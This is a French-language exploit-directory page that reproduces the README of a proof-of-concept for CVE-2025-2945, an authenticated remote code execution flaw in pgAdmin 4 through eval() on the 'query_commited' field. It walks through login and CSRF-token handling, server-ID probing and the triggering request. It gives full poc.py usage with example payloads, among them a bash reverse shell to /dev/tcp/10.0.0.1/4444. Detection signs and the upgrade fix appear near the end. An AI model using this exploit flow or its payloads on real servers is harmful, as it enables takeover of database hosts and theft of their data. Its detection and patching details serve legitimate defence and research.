Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

RCE authentifié dans pgAdmin 4 (8.10–9.1) via injection eval() dans le Query Tool. Il s'agit d'un PoC mis à jour avec des correctifs de compatibilité pour les changements d'authentification de pgAdmin 9.x

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-2945 — RCE authentifié via l'outil de requête pgAdmin 4

Preuve de concept pour CVE-2025-2945, une vulnérabilité critique d'exécution de code à distance dans pgAdmin 4.

Versions affectées : 8.10 à 9.1
Corrigé dans : 9.2 (publié le 4 avril 2025)
CVSS v3.1 : 9.9 (Critique)


Aperçu

L'outil de requête pgAdmin 4 expose un point de terminaison qui accepte un paramètre query_commited et le transmet directement au eval() intégré de Python sans aucune sanitisation. Un attaquant authentifié peut soumettre du code Python arbitraire via ce paramètre et le faire exécuter côté serveur sous le compte de service pgAdmin.

Le point de terminaison vulnérable est :

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

Le champ query_commited dans le corps JSON est évalué comme du code Python sur le serveur.


Analyse technique

Cause racine

Dans les versions de pgAdmin 4 antérieures à 9.2, le gestionnaire de téléchargement de l'outil de requête appelle eval() sur une entrée fournie par l'utilisateur :

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

Aucune validation d'entrée, sandboxing ou liste blanche n'est appliqué. Toute expression Python valide s'exécute avec les privilèges du processus pgAdmin.

Déroulement de l'exploit

  1. Authentifier — Envoyer les identifiants en POST vers /authenticate/login, obtenir un cookie de session et un jeton CSRF
  2. Initialiser sqleditor — Envoyer une requête POST vers /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> avec les identifiants de la base de données pour établir une session de l'outil de requête
  3. Découvrir l'ID du serveur — Envoyer une requête GET vers /sqleditor/get_server_connection/<sgid>/<sid> en itérant sur les IDs jusqu'à ce que l'un retourne data.status == true
  4. Déclencher l'évaluation — Envoyer une requête POST vers /sqleditor/query_tool/download/<trans_id> avec {"query_commited": "<payload_python>"}, recevoir une réponse 500 confirmant l'exécution

Gestion du jeton CSRF (pgAdmin 9.x)

Les anciennes versions de pgAdmin intégralent le jeton CSRF dans un champ <input> caché ou un cookie. La version 9.x est passée à une architecture React SPA où le jeton est intégré sous forme de JSON à l'intérieur d'un appel à window.renderSecurityPage() sur la page /login :

root@kitploit:~
"csrfToken": "<token value>"

Le jeton est lié à la session (Flask-WTF / itsdangerous), donc le jeton obtenu depuis la première requête GET /login reste valide pour toute la session et peut être réutilisé pour tous les appels API suivants.

Changement du point de terminaison de connexion

pgAdmin 9.x a divisé la route de connexion :

  • GET /login — affiche la page de connexion (contient le jeton CSRF)
  • POST /authenticate/login — traite les identifiants

Les PoCs plus anciens qui envoient une requête POST directement vers /login recevront une 404 ou 405 sur les instances 9.x.


Prérequis

  • Python 3.7+
  • Identifiants pgAdmin valides (tout utilisateur authentifié)
  • Identifiants de base de données valides pour un serveur enregistré dans pgAdmin
root@kitploit:~
pip install requests faker

Utilisation

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Arguments

ArgumentDescription
--rhostNom d'hôte ou IP cible (sans schéma)
--rportPort cible (défaut : 80)
--usernameEmail de connexion pgAdmin
--passwordMot de passe de connexion pgAdmin
--db-userNom d'utilisateur PostgreSQL
--db-passMot de passe PostgreSQL
--db-nameNom de la base de données
--payloadExpression Python à évaluer sur le serveur
--max-server-idNombre maximal d'IDs de serveur à sonder (défaut : 10)

Exemples de payloads

Exécution de commande :

root@kitploit:~
--payload "__import__('os').system('id')"

Shell inversé :

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Détection

  • Réponses HTTP 500 inattendues de /sqleditor/query_tool/download/
  • Le processus pgAdmin engendre des processus enfants (shells, curl, wget)
  • Connexions sortantes depuis l'hôte pgAdmin vers des IP inconnues

Atténuation

Mettre à niveau vers pgAdmin 4 version 9.2 ou ultérieure.


Références

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Avertissement

Ce dépôt est uniquement destiné à des fins éducatives et de tests autorisés. Ne pas l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Télécharger l’outil